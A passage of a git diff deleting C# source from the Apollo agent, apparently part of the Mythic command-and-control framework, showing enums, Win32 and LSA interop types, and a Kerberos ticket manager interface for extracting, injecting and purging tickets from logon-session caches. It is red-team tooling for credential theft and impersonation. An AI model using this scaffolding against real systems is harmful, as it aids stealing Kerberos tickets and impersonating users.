CommandNotSupported, - AddrTypeNotSupported, - } - - public enum SocksVersion - { - Socks5 = 5 - } - - public enum Socks5AuthError - { - Success = 0, - Failure, - NoAcceptable = 255, - } - - public enum Socks5AuthType - { - NoAuth = 0, - Version = 1, //???? - UsernamePassword = 2, - } - - public enum Socks5AddressType - { - IPv4 = 1, - FQDN = 3, - IPv6 = 4 - } - - public enum Socks5Command - { - Connect = 1, - Bind = 2, - Associate = 3 - } - - public enum MessageDirection - { - ToMythic = 0, - FromMythic = 1 - } - - public enum MessageType - { - C2ProfileData = 0, - Credential, - RemovedFileInformation, - FileInformation, - FileBrowser, - EdgeNode, - SocksDatagram, - Artifact, - TaskStatus, - TaskResponse, - DownloadRegistrationMessage, - DownloadProgressMessage, - Task, - DelegateMessage, - TaskingMessage, - EKEHandshakeMessage, - EKEHandshakeResponse, - CheckinMessage, - UploadMessage, - MessageResponse, - DownloadMessage, - FileBrowserACE, - IPCCommandArguments, - ExecutePEIPCMessage, - ProcessInformation, - CommandInformation, - ScreenshotInformation, - KeylogInformation, - CallbackUpdate, - CustomBrowser - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Enums/Win32.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Enums/Win32.cs deleted file mode 100644 index b8beb616..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Enums/Win32.cs +++ /dev/null @@ -1,157 +0,0 @@ -using System; - -namespace ApolloInterop.Enums -{ - public static class Win32 - { - public enum TokenType - { - TokenPrimary = 1, - TokenImpersonation - } - - public enum TokenInformationClass - { - TokenUser = 1, - TokenGroups, - TokenPrivileges, - TokenOwner, - TokenPrimaryGroup, - TokenDefaultDacl, - TokenSource, - TokenType, - TokenImpersonationLevel, - TokenStatistics, - TokenRestrictedSids, - TokenSessionId, - TokenGroupsAndPrivileges, - TokenSessionReference, - TokenSandBoxInert, - TokenAuditPolicy, - TokenOrigin, - TokenElevationType, - TokenLinkedToken, - TokenElevation, - TokenHasRestrictions, - TokenAccessInformation, - TokenVirtualizationAllowed, - TokenVirtualizationEnabled, - TokenIntegrityLevel, - TokenUIAccess, - TokenMandatoryPolicy, - TokenLogonSid, - TokenIsAppContainer, - TokenCapabilities, - TokenAppContainerSid, - TokenAppContainerNumber, - TokenUserClaimAttributes, - TokenDeviceClaimAttributes, - TokenRestrictedUserClaimAttributes, - TokenRestrictedDeviceClaimAttributes, - TokenDeviceGroups, - TokenRestrictedDeviceGroups, - TokenSecurityAttributes, - TokenIsRestricted, - TokenProcessTrustLevel, - TokenPrivateNameSpace, - TokenSingletonAttributes, - TokenBnoIsolation, - TokenChildProcessFlags, - MaxTokenInfoClass, - TokenIsLessPrivilegedAppContainer, - TokenIsSandboxed, - TokenOriginatingProcessTrustLevel - } - - [Flags] - public enum LogonType : UInt32 - { - LOGON32_LOGON_INTERACTIVE = 2, - LOGON32_LOGON_NETWORK = 3, - LOGON32_LOGON_BATCH = 4, - LOGON32_LOGON_SERVICE = 5, - LOGON32_LOGON_UNLOCK = 7, - LOGON32_LOGON_NETWORK_CLEARTEXT = 8, - LOGON32_LOGON_NEW_CREDENTIALS = 9, - LOGON32_REMOTE_INTERACTIVE = 10, - LOGON32_LOGON_CACHED_INTERACTIVE = 11, - } - - public enum LogonProvider : UInt32 - { - LOGON32_PROVIDER_DEFAULT = 0, - LOGON32_PROVIDER_WINNT35 = 1, - LOGON32_PROVIDER_WINNT40 = 2, - LOGON32_PROVIDER_WINNT50 = 3, - LOGON32_PROVIDER_VIRTUAL = 4 - } - - [Flags] - public enum STARTF : uint - { - STARTF_USESHOWWINDOW = 0x00000001, - STARTF_USESIZE = 0x00000002, - STARTF_USEPOSITION = 0x00000004, - STARTF_USECOUNTCHARS = 0x00000008, - STARTF_USEFILLATTRIBUTE = 0x00000010, - STARTF_RUNFULLSCREEN = 0x00000020, // ignored for non-x86 platforms - STARTF_FORCEONFEEDBACK = 0x00000040, - STARTF_FORCEOFFFEEDBACK = 0x00000080, - STARTF_USESTDHANDLES = 0x00000100, - } - - [Flags] - public enum CreateProcessFlags - { - CREATE_BREAKAWAY_FROM_JOB = 0x01000000, - CREATE_DEFAULT_ERROR_MODE = 0x04000000, - CREATE_NEW_CONSOLE = 0x00000010, - CREATE_NEW_PROCESS_GROUP = 0x00000200, - CREATE_NO_WINDOW = 0x08000000, - CREATE_PROTECTED_PROCESS = 0x00040000, - CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, - CREATE_SEPARATE_WOW_VDM = 0x00000800, - CREATE_SHARED_WOW_VDM = 0x00001000, - CREATE_SUSPENDED = 0x00000004, - CREATE_UNICODE_ENVIRONMENT = 0x00000400, - DEBUG_ONLY_THIS_PROCESS = 0x00000002, - DEBUG_PROCESS = 0x00000001, - DETACHED_PROCESS = 0x00000008, - EXTENDED_STARTUPINFO_PRESENT = 0x00080000, - INHERIT_PARENT_AFFINITY = 0x00010000 - } - - [Flags] - public enum ProcessAccessFlags : UInt32 - { - PROCESS_CREATE_PROCESS = 0x0080, - PROCESS_CREATE_THREAD = 0x0002, - PROCESS_DUP_HANDLE = 0x0040, - PROCESS_QUERY_INFORMATION = 0x0400, - PROCESS_QUERY_LIMITED_INFORMATION = 0x0200, - PROCESS_SET_QUOTA = 0x0100, - PROCESS_SUSPEND_RESUME = 0x0800, - PROCESS_TERMINATE = 0x0001, - PROCESS_VM_OPERATION = 0x0008, - PROCESS_VM_READ = 0x0010, - PROCESS_VM_WRITE = 0x0020, - SYNCHRONIZE = 0x00100000, - PROCESS_ALL_ACCESS = 0x000F0000 | 0x00100000 | 0xFFFF, - MAXIMUM_ALLOWED = 0x02000000 - } - - [Flags] - public enum DuplicateOptions : uint - { - DuplicateCloseSource = 0x00000001, - DuplicateSameAccess = 0x00000002 - } - - [Flags] - internal enum LogonFlags : uint - { - LOGON_WITH_PROFILE = 0x00000001, - LOGON_NETCREDENTIALS_ONLY = 0x00000002 - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/ITicketManager.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/ITicketManager.cs deleted file mode 100644 index a6d9051a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/ITicketManager.cs +++ /dev/null @@ -1,42 +0,0 @@ -using System.Collections.Generic; -using ApolloInterop.Structs.MythicStructs; - -namespace ApolloInterop.Features.KerberosTickets; - -/// -/// Should serve to manage kerberos tickets. -/// Any functions I want to enable calling from other modules like Tasks should be defined here. -/// -public interface ITicketManager -{ - //artifact related functions - public List GetArtifacts(); - - //returns the current LUID - public string GetCurrentLuid(); - - public string GetTargetProcessLuid(int pid); - - //should return a ticket with the .kirbi initalized with the ticket data - public (KerberosTicket?, string) ExtractTicketFromCache(string luid, string serviceName); - //should return all tickets in the current LUID or all tickets if running as administrator - public List EnumerateTicketsInCache(bool getSystemTickets = false, string luid = ""); - //loads a ticket into memory and should be tracked by the agent session - public (bool, string) LoadTicketIntoCache(byte[] ticket, string luid); - //unloads a ticket from memory and should be removed from the agent session - public (bool, string) UnloadTicketFromCache(string serviceName, string domainName, string luid, bool All = false); - - public KerberosTicket? GetTicketDetailsFromKirbi(byte[] kirbi); - - - //returns a list of tickets stored inside the ticket store (if any) - public List GetTicketsFromTicketStore(); - //adds a ticket to the ticket store - public void AddTicketToTicketStore(KerberosTicketStoreDTO ticket); - //removes a ticket from the ticket store - public bool RemoveTicketFromTicketStore(string serviceName, bool All = false); - - - - -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/KerberosTicketDataDTO.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/KerberosTicketDataDTO.cs deleted file mode 100644 index 2d8203f1..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/KerberosTicketDataDTO.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; - -namespace ApolloInterop.Features.KerberosTickets; - -public record KerberosTicketDataDTO -{ - public string Luid { get; private set; } - - public string ClientFullName { get; private set; } - - public string ServiceFullName { get; private set; } - public DateTime StartTime { get; private set; } - public DateTime EndTime { get; private set; } - - public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss"); - public DateTime RenewTime { get; private set; } - - public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss"); - public KerbEncType EncryptionType { get; private set; } - public KerbTicketFlags TicketFlags { get; private set; } - public string base64Ticket { get; private set; } - - - private KerberosTicketDataDTO() { } - - public static KerberosTicketDataDTO CreateFromKerberosTicket(KerberosTicket ticket, string luid = "0x0") - { - return new KerberosTicketDataDTO - { - Luid = ticket.Luid.ToString() is "0x0" ? luid : ticket.Luid.ToString(), - ClientFullName = $"{ticket.ClientName}@{ticket.ClientRealm}", - ServiceFullName = $"{ticket.ServerName}@{ticket.ServerRealm}", - StartTime = ticket.StartTime, - EndTime = ticket.EndTime, - RenewTime = ticket.RenewTime, - EncryptionType = ticket.EncryptionType, - TicketFlags = ticket.TicketFlags, - base64Ticket = Convert.ToBase64String(ticket.Kirbi) - }; - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/KerberosTicketInfoDTO.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/KerberosTicketInfoDTO.cs deleted file mode 100644 index afb5af43..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/KerberosTicketInfoDTO.cs +++ /dev/null @@ -1,68 +0,0 @@ -using System; -using System.Runtime.Serialization; - -namespace ApolloInterop.Features.KerberosTickets; -[DataContract] -public record KerberosTicketInfoDTO -{ - [DataMember(Name = "luid")] - public string Luid { get; private set; } - [DataMember(Name = "current_luid")] - public string CurrentLuid {get; set; } - [DataMember(Name = "client_name")] - public string ClientName { get; private set; } - [DataMember(Name = "client_realm")] - public string ClientDomain { get; private set; } - - public string ClientFullName => $"{ClientName}@{ClientDomain}"; - [DataMember(Name = "service_name")] - public string ServiceName { get; private set; } - [DataMember(Name = "service_realm")] - public string ServiceDomain { get; private set; } - - public string ServiceFullName => $"{ServiceName}@{ServiceDomain}"; - [DataMember(Name = "start_time")] - public string StartTimeDisplay { get; private set; } - public DateTime StartTime { get; private set; } - [DataMember(Name = "end_time")] - public string EndTimeDisplay { get; private set; } - public DateTime EndTime { get; private set; } - - public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss"); - [DataMember(Name = "renew_time")] - public string RenewTimeDisplay { get; private set; } - public DateTime RenewTime { get; private set; } - - public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss"); - [DataMember(Name = "encryption_type")] - public string EncryptionTypeDisplay { get; private set; } - public KerbEncType EncryptionType { get; private set; } - [DataMember(Name = "ticket_flags")] - public string TicketFlagsDisplay { get; private set; } - public KerbTicketFlags TicketFlags { get; private set; } - - - private KerberosTicketInfoDTO() { } - - public static KerberosTicketInfoDTO CreateFromKerberosTicket(KerberosTicket ticket) - { - return new KerberosTicketInfoDTO - { - Luid = ticket.Luid.ToString(), - ClientName = ticket.ClientName, - ClientDomain = ticket.ClientRealm, - ServiceName = ticket.ServerName, - ServiceDomain = ticket.ServerRealm, - StartTime = ticket.StartTime, - StartTimeDisplay = ticket.StartTime.ToString(), - EndTime = ticket.EndTime, - EndTimeDisplay = ticket.EndTime.ToString(), - RenewTime = ticket.RenewTime, - RenewTimeDisplay = ticket.RenewTime.ToString(), - EncryptionType = ticket.EncryptionType, - EncryptionTypeDisplay = ticket.EncryptionType.ToString(), - TicketFlags = ticket.TicketFlags, - TicketFlagsDisplay = ticket.TicketFlags.ToString(), - }; - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/KerberosTicketStoreDTO.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/KerberosTicketStoreDTO.cs deleted file mode 100644 index 99493c32..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/KerberosTicketStoreDTO.cs +++ /dev/null @@ -1,55 +0,0 @@ -using System; -using System.Runtime.Serialization; - -namespace ApolloInterop.Features.KerberosTickets; - -//for the moment this is the same as the KerberosTicketDataDTO, but it will be used for the store so more / different fileds may be added that are unique to the store -[DataContract] -public record KerberosTicketStoreDTO -{ - [DataMember(Name = "luid")] - public string Luid { get; private set; } - [DataMember(Name = "client_fullname")] - public string ClientFullName { get; private set; } - [DataMember(Name = "service_fullname")] - public string ServiceFullName { get; private set; } - [DataMember(Name = "start_time")] - public string StartTimeDisplay { get; private set; } - public DateTime StartTime; - [DataMember(Name = "end_time")] - public string EndTimeDisplay { get; private set; } - public DateTime EndTime; - public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss"); - [DataMember(Name = "renew_time")] - public string RenewTimeDisplay { get; private set; } - public DateTime RenewTime; - public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss"); - public KerbEncType EncryptionType; - [DataMember(Name = "encryption_type")] - public string EncryptionTypeDisplay { get; private set; } - [DataMember(Name = "ticket_flags")] - public string TicketFlagsDisplay { get; private set; } - public KerbTicketFlags TicketFlags; - [DataMember(Name = "ticket")] - public string base64Ticket { get; private set; } - - - public KerberosTicketStoreDTO(KerberosTicket ticket) - { - Luid = ticket.Luid.ToString(); - ClientFullName = $"{ticket.ClientName}@{ticket.ClientRealm}"; - ServiceFullName = $"{ticket.ServerName}@{ticket.ServerRealm}"; - StartTime = ticket.StartTime; - StartTimeDisplay = StartTime.ToString(); - EndTime = ticket.EndTime; - EndTimeDisplay = EndTime.ToString(); - RenewTime = ticket.RenewTime; - RenewTimeDisplay = RenewTime.ToString(); - EncryptionType = ticket.EncryptionType; - EncryptionTypeDisplay = ticket.EncryptionType.ToString(); - TicketFlags = ticket.TicketFlags; - TicketFlagsDisplay = ticket.TicketFlags.ToString(); - base64Ticket = Convert.ToBase64String(ticket.Kirbi); - } - -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/KerberosTypes.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/KerberosTypes.cs deleted file mode 100644 index 0e80586a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/KerberosTickets/KerberosTypes.cs +++ /dev/null @@ -1,307 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using System.Security.Principal; -using ApolloInterop.Enums; -using ApolloInterop.Features.WindowsTypesAndAPIs; -using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes; -using static ApolloInterop.Features.WindowsTypesAndAPIs.LSATypes; -using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes; -using System.Runtime.Serialization; - -namespace ApolloInterop.Features.KerberosTickets; - -public record struct LogonSessionData -{ - public LUID LogonId; - public string Username; - public string LogonDomain; - public string AuthenticationPackage; - public Win32.LogonType LogonType; - public int Session; - public SecurityIdentifier Sid; - public DateTime LogonTime; - public string LogonServer; - public string DnsDomainName; - public string Upn; -} - -/// -/// Record type to represent a Kerberos ticket. -/// -[DataContract] -public record KerberosTicket -{ - [DataMember(Name = "luid")] - public LUID Luid { get; set; } - public string LogonId => Luid.ToString(); - [DataMember(Name = "ClientName")] - public string ClientName { get; set; } - [DataMember(Name = "ClientRealm")] - public string ClientRealm { get; set; } - public string ClientFullName => $"{ClientName}@{ClientRealm}"; - [DataMember(Name = "ServerName")] - public string ServerName { get; set; } - [DataMember(Name = "ServerRealm")] - public string ServerRealm { get; set; } - public string ServerFullName => $"{ServerName}@{ServerRealm}"; - [DataMember(Name = "StartTime")] - public DateTime StartTime { get; set; } - [DataMember(Name = "EndTime")] - public DateTime EndTime { get; set; } - [DataMember(Name = "RenewTime")] - public DateTime RenewTime { get; set; } - [DataMember(Name = "EncryptionType")] - public KerbEncType EncryptionType { get; set; } - [DataMember(Name = "TicketFlags")] - public KerbTicketFlags TicketFlags { get; set; } - public byte[] Kirbi { get; set; } = []; -} - - - -public record struct KERB_QUERY_TKT_CACHE_RESPONSE -{ - public KERB_PROTOCOL_MESSAGE_TYPE MessageType; - public uint CountOfTickets; - public HANDLE Tickets; // seems this starts at a memory address which is one IntPrt size away from the start of the struct -} - -public record struct KERB_QUERY_TKT_CACHE_REQUEST -{ - public KERB_PROTOCOL_MESSAGE_TYPE MessageType; - public LUID LogonId; -} - - -public record struct KERB_RETRIEVE_TKT_REQUEST -{ - public KERB_PROTOCOL_MESSAGE_TYPE MessageType; - public LUID LogonId; - public UNICODE_STRING TargetName; - public uint TicketFlags; - public KerbCacheOptions CacheOptions; - public KERB_CRYPTO_KEY_TYPE EncryptionType; - public SecHandle CredentialsHandle; -} - - - -public struct KERB_RETRIEVE_TKT_RESPONSE -{ - public KERB_EXTERNAL_TICKET Ticket; -} - - -public struct KERB_SUBMIT_TKT_REQUEST -{ - public KERB_PROTOCOL_MESSAGE_TYPE MessageType; - public LUID LogonId; - public int Flags; - public KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED - public int KerbCredSize; - public int KerbCredOffset; -} - - - -[StructLayout(LayoutKind.Sequential)] -public record struct KERB_PURGE_TKT_CACHE_REQUEST -{ - public KERB_PROTOCOL_MESSAGE_TYPE MessageType; - public LUID LogonId; - public UNICODE_STRING ServerName; - public UNICODE_STRING RealmName; -} - -public record struct KERB_TICKET_CACHE_INFO_EX -{ - public LSA_OUT_STRING ClientName; - public LSA_OUT_STRING ClientRealm; - public LSA_OUT_STRING ServerName; - public LSA_OUT_STRING ServerRealm; - public long StartTime; - public long EndTime; - public long RenewTime; - public int EncryptionType; - public uint TicketFlags; -} - -public struct KERB_EXTERNAL_TICKET -{ - public HANDLE ServiceName; - public HANDLE TargetName; - public HANDLE ClientName; - public UNICODE_STRING DomainName; - public UNICODE_STRING TargetDomainName; - public UNICODE_STRING AltTargetDomainName; - public KERB_CRYPTO_KEY SessionKey; - public KerbTicketFlags TicketFlags; - public uint Flags; - public long KeyExpirationTime; - public long StartTime; - public long EndTime; - public long RenewUntil; - public long TimeSkew; - public uint EncodedTicketSize; - public HANDLE EncodedTicket; -} - -public struct KERB_EXTERNAL_NAME -{ - public short NameType; - public ushort NameCount; - public UNICODE_STRING Names; -} - -public struct KERB_CRYPTO_KEY -{ - public KERB_CRYPTO_KEY_TYPE KeyType; - public uint Length; - public HANDLE Value; -} - -public struct KERB_CRYPTO_KEY32 -{ - public int KeyType; - public int Length; - public int Offset; -} - -public struct SecHandle -{ - public nuint dwLower; - public nuint dwUpper; -} - -public struct KERB_INTERACTIVE_LOGON -{ - public KERB_LOGON_SUBMIT_TYPE LogonType; - public UNICODE_STRING LogonDomainName; - public UNICODE_STRING UserName; - public UNICODE_STRING Password; -} - -public enum KERB_CRYPTO_KEY_TYPE -{ - KERB_ETYPE_DES_CBC_CRC = 1, - KERB_ETYPE_DES_CBC_MD4 = 2, - KERB_ETYPE_DES_CBC_MD5 = 3, - KERB_ETYPE_NULL = 0, - KERB_ETYPE_RC4_HMAC_NT = 23, - KERB_ETYPE_RC4_MD4 = -128, -} - -[Flags] -public enum KerbTicketFlags : uint -{ - Forwardable = 0x40000000, - Forwarded = 0x20000000, - HwAuthent = 0x00100000, - Initial = 0x00400000, - Invalid = 0x01000000, - MayPostDate = 0x04000000, - OkAsDelegate = 0x00040000, - PostDated = 0x02000000, - PreAuthent = 0x00200000, - Proxiable = 0x10000000, - Proxy = 0x08000000, - Renewable = 0x00800000, - Reserved = 0x80000000, - Reserved1 = 0x00000001, - NameCanonicalize = 0x10000 -} - -public enum KERB_PROTOCOL_MESSAGE_TYPE -{ - KerbDebugRequestMessage = 0, - KerbQueryTicketCacheMessage = 1, - KerbChangeMachinePasswordMessage = 2, - KerbVerifyPacMessage = 3, - KerbRetrieveTicketMessage = 4, - KerbUpdateAddressesMessage = 5, - KerbPurgeTicketCacheMessage = 6, - KerbChangePasswordMessage = 7, - KerbRetrieveEncodedTicketMessage = 8, - KerbDecryptDataMessage = 9, - KerbAddBindingCacheEntryMessage = 10, - KerbSetPasswordMessage = 11, - KerbSetPasswordExMessage = 12, - KerbVerifyCredentialsMessage = 13, - KerbQueryTicketCacheExMessage = 14, - KerbPurgeTicketCacheExMessage = 15, - KerbRefreshSmartcardCredentialsMessage = 16, - KerbAddExtraCredentialsMessage = 17, - KerbQuerySupplementalCredentialsMessage = 18, - KerbTransferCredentialsMessage = 19, - KerbQueryTicketCacheEx2Message = 20, - KerbSubmitTicketMessage = 21, - KerbAddExtraCredentialsExMessage = 22, - KerbQueryKdcProxyCacheMessage = 23, - KerbPurgeKdcProxyCacheMessage = 24, - KerbQueryTicketCacheEx3Message = 25, - KerbCleanupMachinePkinitCredsMessage = 26, - KerbAddBindingCacheEntryExMessage = 27, - KerbQueryBindingCacheMessage = 28, - KerbPurgeBindingCacheMessage = 29, - KerbPinKdcMessage = 30, - KerbUnpinAllKdcsMessage = 31, - KerbQueryDomainExtendedPoliciesMessage = 32, - KerbQueryS4U2ProxyCacheMessage = 33, - KerbRetrieveKeyTabMessage = 34, - KerbRefreshPolicyMessage = 35, - KerbPrintCloudKerberosDebugMessage = 36, -} - -public enum KERB_LOGON_SUBMIT_TYPE -{ - KerbInteractiveLogon = 2, - KerbSmartCardLogon = 6, - KerbWorkstationUnlockLogon = 7, - KerbSmartCardUnlockLogon = 8, - KerbProxyLogon = 9, - KerbTicketLogon = 10, - KerbTicketUnlockLogon = 11, - KerbS4ULogon = 12, - KerbCertificateLogon = 13, - KerbCertificateS4ULogon = 14, - KerbCertificateUnlockLogon = 15, - KerbNoElevationLogon = 83, - KerbLuidLogon = 84 -} - -public enum KerbEncType -{ - des_cbc_crc = 1, - des_cbc_md4 = 2, - des_cbc_md5 = 3, - des3_cbc_md5 = 5, - des3_cbc_sha1 = 7, - dsaWithSHA1_CmsOID = 9, - md5WithRSAEncryption_CmsOID = 10, - sha1WithRSAEncryption_CmsOID = 11, - rc2CBC_EnvOID = 12, - rsaEncryption_EnvOID = 13, - rsaES_OAEP_ENV_OID = 14, - des_ede3_cbc_Env_OID = 15, - des3_cbc_sha1_kd = 16, - aes128_cts_hmac_sha1 = 17, - aes256_cts_hmac_sha1 = 18, - rc4_hmac = 23, - rc4_hmac_exp = 24, - subkey_keymaterial = 65, - old_exp = -135 -} - -[Flags] -public enum KerbCacheOptions : uint -{ - KERB_RETRIEVE_TICKET_DEFAULT = 0U, - KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 1U, - KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 2U, - KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 4U, - KERB_RETRIEVE_TICKET_AS_KERB_CRED = 8U, - KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 16U, - KERB_RETRIEVE_TICKET_CACHE_TICKET = 32U, - KERB_RETRIEVE_TICKET_MAX_LIFETIME = 64U -} - diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/APIInteropExt.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/APIInteropExt.cs deleted file mode 100644 index 7428cf97..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/APIInteropExt.cs +++ /dev/null @@ -1,30 +0,0 @@ -using System; - -namespace ApolloInterop.Features.WindowsTypesAndAPIs; - -public static class APIInteropExt -{ - public static APIInteropTypes.HANDLE Increment(this APIInteropTypes.HANDLE handle) where T : notnull - { - IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + IntPtr.Size); - return new APIInteropTypes.HANDLE(updatedHandleAddress); - } - - public static APIInteropTypes.HANDLE Increment(this APIInteropTypes.HANDLE handle) - { - IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + IntPtr.Size); - return new APIInteropTypes.HANDLE(updatedHandleAddress); - } - - public static APIInteropTypes.HANDLE IncrementBy(this APIInteropTypes.HANDLE handle, int increment) where T : notnull - { - IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + increment); - return new APIInteropTypes.HANDLE(updatedHandleAddress); - } - - public static APIInteropTypes.HANDLE IncrementBy(this APIInteropTypes.HANDLE handle, int increment) - { - IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + increment); - return new APIInteropTypes.HANDLE(updatedHandleAddress); - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/APIInteropTypes.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/APIInteropTypes.cs deleted file mode 100644 index a1313671..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/APIInteropTypes.cs +++ /dev/null @@ -1,101 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace ApolloInterop.Features.WindowsTypesAndAPIs; - -public class APIInteropTypes -{ - - /// - /// A windows NT status code - /// - public readonly record struct NTSTATUS - { - - public readonly Ntstatus Status; - public static readonly NTSTATUS STATUS_SUCCESS = (NTSTATUS)0; - public Severity SeverityCode => (Severity)(((uint)Status & 0xc0000000) >> 30); - - public NTSTATUS(int status) => Status = (Ntstatus)status; - - - public static implicit operator int(NTSTATUS value) => (int)value.Status; - public static explicit operator NTSTATUS(int value) => new(value); - public static implicit operator uint(NTSTATUS value) => (uint)value.Status; - public static explicit operator NTSTATUS(uint value) => new((int)value); - } - - - /// - /// A pointer to an object - /// Can be used in P/Invoke calls to pass a pointer to a structure or object - /// - /// - [StructLayout(LayoutKind.Sequential)] - public readonly record struct HANDLE - { - public readonly IntPtr PtrLocation; - public static HANDLE Null => (HANDLE)IntPtr.Zero; - public bool IsNull => PtrLocation == default; - - - public static long operator -(HANDLE value1, HANDLE value2) => value1.PtrLocation.ToInt64() - value2.PtrLocation.ToInt64(); - - public static implicit operator IntPtr(HANDLE value) => value.PtrLocation; - public static explicit operator HANDLE(IntPtr value) => new(value); - - public T CastTo() where T : notnull => (T)Marshal.PtrToStructure(PtrLocation, typeof(T)); - - public HANDLE(IntPtr value) => PtrLocation = value; - } - - /// - /// A version of the handle struct that takes in a generic argument this is used to specify the type of the handle mainly for easier debugging, and readability - /// Note the GetValue method will only work on types that are Structs, classes and are non value types - /// - /// - /// - [StructLayout(LayoutKind.Sequential)] - public readonly record struct HANDLE where T : notnull - { - //fields & properties - public readonly IntPtr PtrLocation { get; init; } - public static HANDLE Null => (HANDLE)IntPtr.Zero; - public string HandleTypeName => typeof(T).Name; - public bool IsNull => PtrLocation == default; - - //methods - public T? GetValue() => (T)Marshal.PtrToStructure(PtrLocation, typeof(T)); - - - - public static long operator -(HANDLE value1, HANDLE value2) => value1.PtrLocation.ToInt64() - value2.PtrLocation.ToInt64(); - public static implicit operator IntPtr(HANDLE value) => value.PtrLocation; - public static explicit operator HANDLE(IntPtr value) => new(value); - public static implicit operator HANDLE(HANDLE value) => new(value.PtrLocation); - public static explicit operator HANDLE(HANDLE value) => new(value.PtrLocation); - - //constructors - public HANDLE(IntPtr value) => PtrLocation = value; - - public HANDLE(T value) - { - PtrLocation = Marshal.AllocHGlobal(Marshal.SizeOf(value)); - Marshal.StructureToPtr(value, PtrLocation, false); - } - - } - - - public readonly record struct UCHAR - { - public readonly byte Value; - public static implicit operator byte(UCHAR value) => value.Value; - public static explicit operator UCHAR(byte value) => new(value); - - public UCHAR(byte value) => Value = value; - public UCHAR (char value) => Value = (byte)value; - } - - -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Advapi32APIs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Advapi32APIs.cs deleted file mode 100644 index bd8212f0..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Advapi32APIs.cs +++ /dev/null @@ -1,17 +0,0 @@ -using System.Security.Principal; -using ApolloInterop.Enums; -using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes; -using static ApolloInterop.Features.WindowsTypesAndAPIs.LSATypes; -using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes; -namespace ApolloInterop.Features.WindowsTypesAndAPIs; - -public class Advapi32APIs -{ - public delegate NTSTATUS LsaOpenPolicy(HANDLE SystemName, HANDLE ObjectAttributes, ACCESS_MASK DesiredAccess, out HANDLE PolicyHandle); - public delegate bool GetTokenInformation( HANDLE tokenHandle, Win32.TokenInformationClass tokenInformationClass, HANDLE tokenInformation, int tokenInformationLength, out int returnLength); - public delegate uint LsaNtStatusToWinError(NTSTATUS status); - public delegate bool OpenProcessToken(HANDLE ProcessHandle, TokenAccessLevels DesiredAccess, out HANDLE TokenHandle); - public delegate bool ImpersonateLoggedOnUser(HANDLE TokenHandle); - public delegate bool AllocateLocallyUniqueId(out LUID luid); - public delegate bool LogonUserA(HANDLE lpszUsername, HANDLE lpszDomain, HANDLE lpszPassword, Win32.LogonType dwLogonType, Win32.LogonProvider dwLogonProvider, out HANDLE phToken); -} \ No newline at end of file diff --git 